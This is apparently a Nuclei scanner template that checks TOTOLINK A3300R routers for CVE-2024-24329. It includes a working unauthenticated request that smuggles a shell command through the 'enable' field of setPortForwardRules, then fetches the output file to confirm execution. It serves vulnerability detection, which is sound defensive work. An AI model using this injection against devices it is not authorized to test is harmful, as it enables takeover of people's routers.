CVE-2024-24329: TotoLink Router setPortForwardRules - Command Injection

id: CVE-2024-24329

info:
  name: TotoLink Router setPortForwardRules - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setPortForwardRules function.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the enable parameter, potentially compromising the entire TOTOLINK router.
  remediation: |
    Update TOTOLINK A3300R firmware to a version newer than V17.0.0cu.557_B20221024.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/TOTOLINK%20A3300R/10/TOTOlink%20A3300R%20setPortForwardRules.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24329
    cwe-id: CWE-78
    epss-score: 0.06172
    epss-percentile: 0.93121
    cpe: cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*
  metadata:
    vendor: totolink
    product: a3300r_firmware
    fofa-query: title="totolink"
  tags: cve,cve2024,totolink,router,toto_link,unauth,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi?token=C6F41C563E86A379 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}/advance/portfwd.html?token=C6F41C563E86A379

        {"enable":"1`ls>/web/{{randstr}}.txt`","addEffect":"0","topicurl":"setPortForwardRules"}

      - |
        GET /{{randstr}}.txt  HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/advance/portfwd.html?token=C6F41C563E86A379

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(body_1, "\"success\":true")'
          - 'contains_all(body_2, "bin","etc")'
        condition: and
# digest: 490a0046304402202598f9bc138e9fd9570f1576c25f34ab159d0e743638e89119f8e918e9e326dd02201440bcb616921d1c7c4b0689b86b5f2c868ba2a5b72a51e4da714522cb2eb6ee:922c64590222798bb761d5b6d8e72950

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